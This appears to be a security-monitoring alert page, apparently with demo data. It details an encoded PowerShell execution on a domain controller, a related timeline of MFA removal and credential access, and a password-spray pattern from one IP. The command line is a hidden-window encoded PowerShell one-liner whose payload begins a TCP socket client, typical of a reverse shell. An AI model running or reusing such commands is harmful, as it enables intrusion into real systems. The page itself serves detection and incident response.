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Process Execution

Encoded PowerShell command block executed with hidden window and execution policy bypass

EVT-502CBCHigh

Command line

powershell.exe -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAA=

Same principal

Other activity for jsmith around this time

TimeEventSeverityHost
2026-09-04 14:17:53ZAuthentication FailureLowWIN-DC01
2026-09-04 14:21:05ZAuthentication FailureLowWIN-DC01
2026-09-04 14:24:17ZAuthentication FailureLowWIN-DC01
2026-09-04 14:27:29ZAuthentication SuccessHighWIN-DC01
2026-09-04 14:30:29ZMfa Method RemovedHighWIN-DC01
2026-09-04 14:33:29ZUser CreatedCriticalWIN-DC01
2026-09-04 14:39:29ZCredential AccessCriticalWIN-DC01

Same source address

Other activity from 185.100.200.50

TimeEventUserCountry
2026-09-04 14:15:29ZAuthentication FailureawhitmorePakistan
2026-09-04 14:15:41ZAuthentication FailurebpatelPakistan
2026-09-04 14:15:53ZAuthentication FailurecdiazPakistan
2026-09-04 14:16:05ZAuthentication FailurednakamuraPakistan
2026-09-04 14:16:17ZAuthentication FailureekowalskiPakistan
2026-09-04 14:16:29ZAuthentication FailurefokoyePakistan
2026-09-04 14:16:41ZAuthentication FailuregsimmonsPakistan
2026-09-04 14:16:53ZAuthentication FailurehlindqvistPakistan
2026-09-04 14:17:05ZAuthentication FailureivanovPakistan
2026-09-04 14:17:17ZAuthentication FailurejmercierPakistan
2026-09-04 14:17:29ZAuthentication FailurekthompsonPakistan
2026-09-04 14:17:41ZAuthentication FailurelgarciaPakistan
2026-09-04 14:17:53ZAuthentication FailurejsmithPakistan
2026-09-04 14:18:05ZAuthentication Failuresvc_backupPakistan
2026-09-04 14:18:17ZAuthentication Failuresvc_sqlPakistan

Record

Source
CrowdStrike FalconEndpoint
Event type
PROCESS_EXECUTION
Observed

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Alerts raised

  • Encoded PowerShell executed on WIN-DC01High

    PowerShell ran a base64-encoded command block with a hidden window on a domain controller.

    Open the incident